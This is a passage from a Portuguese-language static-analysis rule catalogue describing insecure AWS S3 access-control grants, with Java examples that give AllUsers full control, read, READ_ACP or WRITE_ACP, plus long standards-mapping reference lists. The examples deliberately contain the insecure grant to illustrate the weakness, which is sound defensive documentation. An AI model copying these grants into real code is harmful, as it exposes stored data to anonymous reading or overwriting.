[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[58] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.swift.insecure_storage_persistent_named_pasteboard
Abstract
O aplicativo concede acesso anônimo completo a um bucket ou objeto do AWS S3.
Explanation
A concessão de acesso anônimo completo a um bucket ou objeto permite que os invasores leiam o conteúdo ou o substituam por conteúdo mal-intencionado.

Exemplo 1: O código a seguir define uma Access Control Policy que concede acesso anônimo completo ao bucket foo.


GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();

Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("FullControl");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);

AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark partial
[6] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.java.insecure_storage_s3_full_anonymous_access
Abstract
O aplicativo concede permissão anônima para ler a Access Control Policy (ACP) de um bucket ou objeto AWS S3.
Explanation
A concessão de permissão anônima para ler um bucket ou um objeto Access Control Policy (ACP) permite que os invasores descubram quais objetos podem ser recuperados ou sobrescritos.

Exemplo 1: O código a seguir define uma Access Control Policy que concede acesso ACP de gravação anônimo ao bucket foo.


GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();

Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("READ_ACP");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);

AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark partial
[6] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.java.insecure_storage_s3_read_acp_anonymous_access
Abstract
O aplicativo concede acesso de leitura anônimo a um bucket ou objeto do AWS S3.
Explanation
A concessão de acesso anônimo de leitura a um bloco ou objeto permitirá que os invasores leiam seu conteúdo.

Exemplo 1: O código a seguir define uma Access Control Policy que concede acesso de leitura anônimo ao bucket foo.


GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();

Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("Read");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);

AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark partial
[6] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.java.insecure_storage_s3_read_anonymous_access
Abstract
O aplicativo concede permissão anônima para gravar a Access Control Policy (ACP) de um bucket ou objeto do AWS S3.
Explanation
A concessão de permissão anônima para gravar um bucket ou objeto Access Control Policy (ACP) permite que os invasores leiam ou gravem qualquer conteúdo nesse bucket.

Exemplo 1: O código a seguir define uma Access Control Policy que concede acesso ACP de gravação anônimo ao bucket foo.


GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();

Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("WRITE_ACP");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);

AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark partial
[6] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
